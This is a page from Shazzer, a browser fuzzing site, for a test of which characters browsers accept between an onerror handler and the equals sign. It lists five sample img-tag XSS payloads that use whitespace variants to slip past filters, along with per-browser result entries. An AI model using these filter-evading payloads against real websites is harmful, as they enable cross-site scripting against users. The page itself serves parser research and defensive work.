Shazzer logo

Character allowed after onerror event

Chrome logo 5
Firefox logo 5
Edge logo 5
Safari logo 5

I want to know which characters the browser accepts between an event handler and a equal sign.

InsertScript
Created byInsertScript
Created Apr 2, 2024
Updated May 28, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src=x onerror$[chr]=log($[i])>

Sample payloads

<img src=x onerror0x09=alert(9)>
<img src=x onerror
=alert(10)>
<img src=x onerror0x0C=alert(12)>
<img src=x onerror0x0D=alert(13)>
<img src=x onerror =alert(32)>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 5 results
Loading...
Chrome logo
Chrome 143.0.0.0 desktop macOS 10.15.7older version
Updated25 Jan 2026
Found 5 results
Loading...
Chrome logo
Chrome 123.0.0.0 Unknown Unknownolder version
Updated14 Apr 2024
Found 5 results
Loading...
Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 5 results
Loading...
Firefox logo
Firefox 124.0 Unknown Unknownolder version
Updated14 Apr 2024
Found 5 results
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 5 results
Loading...
Safari logo
Safari 17.4 Unknown Unknown
Updated14 Apr 2024
Found 5 results
Loading...